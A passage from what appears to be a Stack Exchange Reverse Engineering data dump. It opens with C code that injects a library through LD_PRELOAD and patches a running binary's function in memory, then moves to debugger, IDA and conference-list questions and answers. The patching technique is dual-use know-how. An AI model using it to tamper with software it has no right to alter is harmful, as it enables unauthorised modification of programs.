&amp;lt;dlfcn.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;link.h&amp;gt;&#xA;&#xA;static int new_random(void)&#xA;{&#xA;        return 0xdeadbeef;&#xA;}&#xA;&#xA;static void emit_jump_to_address(uint64_t address, uint64_t jump_destination)&#xA;{&#xA;        long page_size = sysconf(_SC_PAGESIZE);&#xA;        void* aligned_address = (void*)(address &amp;amp; ~(page_size - 1));&#xA;        if (mprotect(aligned_address, page_size, PROT_READ|PROT_WRITE|PROT_EXEC) &amp;lt; 0)&#xA;        {&#xA;                perror(&quot;mprotect&quot;);&#xA;                return;&#xA;        }&#xA;        *(uint16_t*)(address + 0x0) = 0xb848;           // mov rax, Iv&#xA;        *(uint64_t*)(address + 0x2) = jump_destination; // mov rax, jump_destination&#xA;        *(uint16_t*)(address + 0xa) = 0xe0ff;           // jmp rax&#xA;        if (mprotect(aligned_address, page_size, PROT_READ|PROT_EXEC) &amp;lt; 0)&#xA;        {&#xA;                perror(&quot;mprotect&quot;);&#xA;                return;&#xA;        }&#xA;}&#xA;&#xA;// ref: https://stackoverflow.com/questions/19451791/get-loaded-address-of-a-elf-binary-dlopen-is-not-working-as-expected&#xA;uint64_t get_image_base(void)&#xA;{&#xA;        struct link_map* lm = dlopen(NULL, RTLD_NOW);&#xA;        return (uint64_t)lm-&amp;gt;l_addr;&#xA;}&#xA;&#xA;__attribute__((constructor)) void patcher(void)&#xA;{&#xA;        uint64_t target;&#xA;&#xA;        target = get_image_base();&#xA;        target += 0x1169; // RVA&#xA;        printf(&quot;[!] targeted function is at %p\n&quot;, (void const*)target);&#xA;        printf(&quot;[!] new function is at %p\n&quot;, (void const*)&amp;amp;new_random);&#xA;        emit_jump_to_address(target, (uint64_t)&amp;amp;new_random);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This source code was compiled with clang and injected using &lt;code&gt;LD_PRELOAD&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ clang patcher.c  -o patcher.so -shared -ldl&#xA;$ env LD_PRELOAD=./patcher.so ./target&#xA;[!] targeted function is at 0x7fe05f907169&#xA;[!] new function is at 0x7fe05f8c11f0&#xA;random value: deadbeef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, I'm using fish, so the &lt;code&gt;env&lt;/code&gt; is required.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastEditorUserId="26176" LastEditDate="2019-01-21T18:38:20.373" LastActivityDate="2019-01-21T18:38:20.373" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20401" PostTypeId="1" AcceptedAnswerId="20406" CreationDate="2019-01-17T16:20:56.883" Score="0" ViewCount="211" Body="&lt;p&gt;After clicking a button or doing anything which might generate a message to be translated and dispatched, why is that the callstack might not show the message handler? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I am reversing an application, I hit the Ok button and then it generates a window. Pausing the application after that window is generated should show the message handler in the call stack right? I see a callstack with one of the last entries being the message loop itself (get translate and dispatch) but I don't see the callback function. Should I just try and go through dispatchmessage to get the message handler? Is there some resource which tells me where exactly the messagehandler is in dispatchmessage? &lt;/p&gt;&#xA;" OwnerUserId="22004" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T11:26:45.360" LastActivityDate="2019-01-19T11:26:45.360" Title="The callstack does not show the message handler" Tags="|windows|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20402" PostTypeId="1" CreationDate="2019-01-17T16:49:37.173" Score="1" ViewCount="159" Body="&lt;p&gt;There are lot of crack me site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looking for site that have lot of hard crack me/ malware to research anti debug/anti vm... but with full solution &lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="53" LastEditDate="2019-01-17T19:59:57.807" LastActivityDate="2019-01-17T19:59:57.807" Title="Looking for crackme with full solutions" Tags="|crackme|" AnswerCount="0" CommentCount="2" ClosedDate="2019-01-18T00:13:27.557" ContentLicense="CC BY-SA 4.0" />
  <row Id="20403" PostTypeId="1" CreationDate="2019-01-17T19:31:22.440" Score="10" ViewCount="642" Body="&lt;p&gt;I am looking for journals to keep track of the latest advances in reverse engineering, binary analysis, malware, binary exploitation, etc. &lt;/p&gt;&#xA;" OwnerUserId="26363" LastEditorUserId="53" LastEditDate="2019-01-17T20:00:35.920" LastActivityDate="2023-11-03T00:42:53.550" Title="Academic journals for latest RE/Malware/Exploitation research?" Tags="|malware|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20404" PostTypeId="2" ParentId="20403" CreationDate="2019-01-17T19:58:25.650" Score="7" Body="&lt;p&gt;You have a few academic workshops and conferences about the topic (or close to the topic). But, most of them are appearing and disappearing quite often unfortunately. So, it is difficult to come with a long lasting list of conferences. Anyway, here is an attempt:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Still Alive Conferences&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;RAID&lt;/strong&gt; (International Symposium on Research in Attacks, Intrusions and Defenses) (21 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Journal of Computer Virology and Hacking Techniques&lt;/strong&gt; (Springer) (15 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;WOOT&lt;/strong&gt; (Workshop on Offensive Technologies) (12 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SSPREW&lt;/strong&gt; (Software Security, Protection, and Reverse Engineering / Software Security and Protection Workshop) (8 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CODASPY&lt;/strong&gt; (ACM Conference on Data and Application Security and Privacy) (8 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;BotConf&lt;/strong&gt; (Botnet fighting Conference) (6 years)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;EuroS&amp;amp;P&lt;/strong&gt; (IEEE European Symposium on Security and Privacy) (4 years old)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ROOTS&lt;/strong&gt; (Reversing and Offensive-oriented Trends Symposium) (2 years old)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Discontinued Conferences&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;WCRE&lt;/strong&gt; (Working Conference on Reverse Engineering) &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SPRO&lt;/strong&gt; (Workshop on Software PROtection)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These lists are &lt;strong&gt;definitely&lt;/strong&gt; non-exhaustive, so feel free to tell me if I forget something!&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-01-17T19:58:25.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20405" PostTypeId="2" ParentId="20403" CreationDate="2019-01-17T19:59:54.393" Score="9" Body="&lt;p&gt;This is an indirect answer to your question, but hopefully still useful. There are multiple conferences that feature state-of-the-art work in this space. If anyone knows of more, feel free to add on to this list.&lt;/p&gt;&#xA;&lt;p&gt;(links are to the archives of the conferences, whenever possible)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.offensivecon.org/archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OffensiveCon&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/channel/UCMNvAtT4ak2azKNk6UlB1QQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Videos are posted on their YouTube channel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://recon.cx/2023/archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;RECon&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Frustratingly, they don't have a consistent method of posting slides/recordings. The link above is to their archives, but some of its links are broken, and not all the available slides/videos are linked in there.&lt;/li&gt;&#xA;&lt;li&gt;Generally, you can get to a year's contents by going to &lt;code&gt;recon.cx/&amp;lt;year&amp;gt;&lt;/code&gt; (e.g. &lt;a href=&quot;https://recon.cx/2017&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://recon.cx/2017&lt;/a&gt;). Most of the time those pages have links to the slides and/or recordings from that year.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can sometimes find missing stuff by googling the name of the talk; often the author will have posted the slides themselves. There are also various YouTube recordings floating around of various talks from various years.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Montreal 2018 is an exception to this rule. As &lt;a href=&quot;https://twitter.com/reconmtl/status/1012040135310020609&quot; rel=&quot;nofollow noreferrer&quot;&gt;they announced on Twitter&lt;/a&gt;, they decided to embed the slides &lt;a href=&quot;https://recon.cx/2018/montreal/schedule/&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the schedule&lt;/a&gt;, for some reason.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cfp.recon.cx/2022/schedule/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Montreal 2022 put the slides in the schedule again&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cfp.recon.cx/2023/schedule/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Montreal 2023 put the slides in the schedule too; apparently this is what they're doing now&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/publications/proceedings?f%5B0%5D=im_taxonomy_vocabulary_2%3A202&quot; rel=&quot;nofollow noreferrer&quot;&gt;USENIX Workshop on Offensive Technologies (WOOT)&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For some reason, since 2020, WOOT proceedings are no longer published via USENIX. You can find recordings/slides, but there's not an archive set up like USENIX. Here's &lt;a href=&quot;https://www.ieee-security.org/TC/SP2021/SPW2021/WOOT21/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2021&lt;/a&gt;, &lt;a href=&quot;https://www.ieee-security.org/TC/SP2022/WOOT22/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;2022&lt;/a&gt;, and &lt;a href=&quot;https://wootconference.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2023&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/publications/proceedings?f%5B0%5D=im_taxonomy_vocabulary_2%3A108&quot; rel=&quot;nofollow noreferrer&quot;&gt;USENIX Security Symposium&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20201103003700/https://cansecwest.com/slides.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;CanSecWest&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Their archive only goes up to 2018; their current site removed all archives and they no longer post slides. That said, presenters often post slides themselves.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://infiltratecon.com/info/archives.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Infiltrate&lt;/a&gt; (ended in 2019)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are of course the juggernauts: DEF CON (&lt;a href=&quot;https://media.defcon.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;full media archive&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/user/DEFCONConference/playlists&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube playlists of talks&lt;/a&gt;) and Black Hat (&lt;a href=&quot;https://www.blackhat.com/html/archives.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;site archive with slides + white papers&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/c/BlackHatOfficialYT/playlists&quot; rel=&quot;nofollow noreferrer&quot;&gt;YouTube playlists of talks&lt;/a&gt;). Neither is exclusively focused on what you asked about, but they both have plenty of good content on these topics.&lt;/p&gt;&#xA;&lt;p&gt;Bonus: &lt;a href=&quot;https://www.alchemistowl.org/pocorgtfo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PoC||GTFO&lt;/a&gt; is a completely different style of research than any conference listed above, but it's full of great information and is lots of fun to read.&lt;/p&gt;&#xA;&lt;p&gt;Bonus 2: &lt;a href=&quot;https://infocon.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;InfoCon&lt;/a&gt; is the best archive of hacking conference content that exists.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;InfoCon is a community supported, non-commercial archive of all the past hacking related convention material that can be found.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2023-11-03T00:42:53.550" LastActivityDate="2023-11-03T00:42:53.550" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20406" PostTypeId="2" ParentId="20401" CreationDate="2019-01-17T20:45:54.383" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dispatchmessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;prototype of DispatchMessage() is&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LRESULT DispatchMessage(&#xA;  const MSG *lpMsg&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it takes only a pointer to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/winuser/ns-winuser-tagmsg&quot; rel=&quot;nofollow noreferrer&quot;&gt;struct MSG&lt;/a&gt;  which has a hwnd as its first &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct tagMSG {&#xA;  HWND   hwnd;&#xA;  UINT   message;&#xA;  WPARAM wParam;&#xA;  LPARAM lParam;&#xA;  DWORD  time;&#xA;  POINT  pt;&#xA;  DWORD  lPrivate;&#xA;} MSG, *PMSG, *NPMSG, *LPMSG;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this hwnd is validated and the appropriate callback is called by internal functions of &#xA;user32.dll and comctl32.dll &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can get the window proc in the handles window in x64dbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a screenshot of windows calc.exe paused at a breakpoint in user32.DispatchMessageW() &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BI75Z.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BI75Z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can get the hwnd parameter by looking at the stack &#xA;with &lt;code&gt;log {x:[[esp+4]]}&lt;/code&gt; &#xA;and following it up in handles window  the screenshot shows the hwnd in status bar&#xA;command in command window and the window proc in handles window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0jSC2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0jSC2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;setting a breakpoint on the proc and hitting f9 will land us in the windowproc&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address   To        From      Size      Comment        &#xA;0012EFB4  770C5F9F  00631EDE  78        calc.00631EDE&#xA;0012F02C  770C4F0E  770C5F9F  5C        user32._GetRealWindowOwner@4+54&#xA;0012F088  770C4F7D  770C4F0E  28        user32._DispatchClientMessage@20+4B&#xA;0012F0B0  777B702E  770C4F7D  74        user32.___fnDWORD@4+24&#xA;0012F124  770CCC70  777B702E  10        ntdll.777B702E &#xA;0012F134  00631CAC  770CCC70  D70       user32._DispatchMessageW@4+F&#xA;0012FEA4  0064219A  00631CAC  90        calc.00631CAC &#xA;0012FF34  7748ED6C  0064219A  C         calc.0064219A&#xA;0012FF40  777D37EB  7748ED6C  40        kernel32.7748ED6C &#xA;0012FF80  777D37BE  777D37EB  18        ntdll.777D37EB&#xA;0012FF98  00000000  777D37BE            ntdll.777D37BE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2019-01-17T20:45:54.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20407" PostTypeId="2" ParentId="20403" CreationDate="2019-01-18T05:51:13.470" Score="3" Body="&lt;p&gt;There is also malware conference which has been running since at least 2011. &#xA;&lt;a href=&quot;https://www.malwareconference.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.malwareconference.org/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2019-01-18T05:51:13.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20409" PostTypeId="1" CreationDate="2019-01-18T10:30:56.163" Score="3" ViewCount="6065" Body="&lt;p&gt;In IDA, when I want to see the address of code, I must switch to Text view.&lt;/p&gt;&#xA;&lt;p&gt;How can I see the address of code in Graph view?&lt;/p&gt;&#xA;&lt;p&gt;By the way, is there Graph view in OllyDbg?&lt;/p&gt;&#xA;" OwnerUserId="26837" LastEditorUserId="60" LastEditDate="2022-02-14T18:52:48.087" LastActivityDate="2022-02-14T18:52:48.087" Title="How to see addresses in Graph view in IDA" Tags="|ida|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20410" PostTypeId="1" CreationDate="2019-01-18T10:59:20.040" Score="1" ViewCount="125" Body="&lt;p&gt;This is the example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_start:&#xA;LDR r0, =n&#xA;LDR r0, [r0]&#xA;LDR r1, =array1&#xA;MOV r2, #0&#xA;LDR r4, =array2&#xA;loop:&#xA;LDR r3, [r1], #4&#xA;CMP r3, #58&#xA;BGT a_point&#xA;CMP r3, #47&#xA;BLT a_point&#xA;SUB r3, r3, #0x30&#xA;STR r3, [r4], #4&#xA;&#xA;a_point:&#xA;    subs r0, r0, #1&#xA;    BGT loop&#xA;&#xA;stop:&#xA;    b stop&#xA;&#xA;.Data&#xA;n: .word 6&#xA;array1: .word 0x30, 0xFFFFFFF5, 0x37, 0x4b, 0x18, 0x40&#xA;array2: .word 0x01, 0x0, 0x0, 0x0, 0x0, 0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble understanding how the loop works, what it does and specifically how the branch instruction work on pair with the -lt and -gt suffixes. What is the purpose of this simple program? Thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="27140" LastActivityDate="2019-01-18T10:59:20.040" Title="Help understanding ARM Assembly example code - loops, set flags and code mnemonics" Tags="|assembly|arm|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20411" PostTypeId="1" AcceptedAnswerId="20413" CreationDate="2019-01-18T11:01:28.300" Score="0" ViewCount="4564" Body="&lt;p&gt;How can I set a conditional breakpoint based on the argument of a function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to break on the windows function &lt;code&gt;LoadLibraryExW&lt;/code&gt;: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to break on this function only when the first argument (&lt;code&gt;lpLibFileName&lt;/code&gt;) is equal to &lt;code&gt;L&quot;Test.dll&quot;&lt;/code&gt;. When I break on the function I can see that &lt;code&gt;L&quot;Test.dll&quot;&lt;/code&gt; is &lt;code&gt;esp+4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few different variations without success. They either break on every &lt;code&gt;LoadLibraryExW&lt;/code&gt; calls or none. Variations like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Break Condiditon: [esp+4]==L&quot;Test.dll&quot;&#xA;Break Condition: esp+4==L&quot;Test.dll&quot;&#xA;etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the proper way of setting a conditional breakpoint based on function arguments? Or register offsets?&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2019-01-18T22:55:59.307" Title="x64dbg - Conditional breakpoint based on function argument" Tags="|windows|x86|x64dbg|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20412" PostTypeId="2" ParentId="20409" CreationDate="2019-01-18T14:47:26.953" Score="9" Body="&lt;p&gt;Switch to graph mode, then go to menu Options-General, Disassembly tab and enable &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[x] Line Prefixes (graph)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other disassembly options : &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/605.shtml&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/605.shtml&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also check the status bar, it displays the current address.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-01-18T14:47:26.953" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20413" PostTypeId="2" ParentId="20411" CreationDate="2019-01-18T21:19:00.693" Score="0" Body="&lt;p&gt;As commented by @mrexodia  you can set a DLL breakpoint &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Typ Address  Module/La State   Disassembly H Summa&#xA;DLL                               &#xA;    76850000 gdi32.dll Enabled  0 all()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Go to breakpoint window (alt+b) -&gt; Right Click Add Dll BreakPoint &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type test.dll &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will break when test.dll is loaded &lt;/p&gt;&#xA;&#xA;&lt;p&gt;String compare as such isn't yet implemented. A bug report exists from 2017 and a workaround exists which states using a third party plugin&lt;br&gt;&#xA;which you can check out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or simply split the string into bytes and compare  the bytes &#xA;like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type     Address  Module/Label/Exception     State   Disassembly H Summary                                                                                         &#xA;Software                                                           &#xA;         76ACE8A5 &amp;lt;kernel32.dll.CreateFileW&amp;gt; Enabled mov edi,edi 5 breakif((1:[[esp+4]+0xc] == 66) &amp;amp;&amp;amp;  (1:[[esp+4]+0xe] == 69)), log(&quot;brk hit   { 1:[[esp+4]+c] }&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/frSq3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/frSq3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;x64dbg has broken when file testmefive.txt was opened for source code below with above byte compare method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void)&#xA;{&#xA;    char *filenames[] = {&#xA;        &quot;testmeone.txt&quot;,&#xA;        &quot;testmetwo.txt&quot;,&#xA;        &quot;testmethree.txt&quot;,&#xA;        &quot;testmefour.txt&quot;,&#xA;        &quot;testmefive.txt&quot;};&#xA;    for (int i = 0; i &amp;lt; 5; i++)&#xA;    {&#xA;        FILE *fp = NULL;&#xA;        errno_t err = fopen_s(&amp;amp;fp, filenames[i], &quot;r&quot;);&#xA;        if (err == 0 &amp;amp;&amp;amp; fp != 0)&#xA;        {&#xA;            char buff[0x50] = {0};&#xA;            fread_s(buff, 0x50, 1, 0x50, fp);&#xA;            printf(&quot;%s\n&quot;, buff);&#xA;            fclose(fp);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorDisplayName="user12114" LastEditDate="2019-01-18T22:55:59.307" LastActivityDate="2019-01-18T22:55:59.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20414" PostTypeId="1" CreationDate="2019-01-18T23:34:21.927" Score="2" ViewCount="495" Body="&lt;p&gt;I have a 2 MB executable that I'm attempting to reverse engineer. It's executed on a 16-bit 8086 CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The segments go from 4000 (0x140000) to F000 (0x1F0000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to map the segments in the Program Segmentation window, but when doing so, addresses for call / jump operations fail to resolve when converting the entrypoint to code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the final segment as an example, I set the Start Address to 0x1F0000, and the End Address to 0x200000. I set the base to 0xF000, as this is how it's referred to in the machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do the same with the other segments, including the problem segment (0xD000 -&gt; 0x1D0000).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When converting to code, the resulting line is resolved as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp far ptr 0D000h:1Ah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is as expected, jumping to segment 0xD000, with an offset of 0x1A, however IDA is not happy with this, complaining about it with the NONAME and BOUNDS errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to properly map this in IDA. Can someone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I already have the full list of segments I want to map along with their binary addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2000:0x1F0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3000:0x1F0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4000:0x140000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5000:0x150000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6000:0x160000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7000:0x170000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;8000:0x180000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;9000:0x190000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A000:0x1A0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B000:0x1B0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C000:0x1C0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D000:0x1D0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E000:0x1E0000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F000:0x1F0000&lt;/p&gt;&#xA;" OwnerUserId="27146" LastEditorUserId="27146" LastEditDate="2019-01-19T11:35:35.487" LastActivityDate="2019-01-21T07:07:27.700" Title="Unable to figure out how to map segments in IDA" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20417" PostTypeId="1" CreationDate="2019-01-19T15:18:09.757" Score="1" ViewCount="503" Body="&lt;p&gt;I'm attempting to reverse engineer a private API used by an Android app that makes use of WebSockets. These requests are made from JavaScript inside a WebView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Charles to intercept both HTTP and WebSocket requests, with it I'm able to see how the app successfully connects and speaks to the API with WebSockets.&#xA;The API uses cookies to authorize connections, the cookies responsible for it are &quot;ts.default&quot; and &quot;ts.default.sig&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the request looks in Charles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OOic6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OOic6.png&quot; alt=&quot;Successful request&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to be able to speak with the API from a Python script. However, when making the same Upgrade request, making sure to keep all relevant headers, I get a 401 Unauthorized status code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AlV1i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AlV1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the relevant JavaScript code responsible for such requests &lt;a href=&quot;https://pastebin.com/v1JwdYVF&quot; 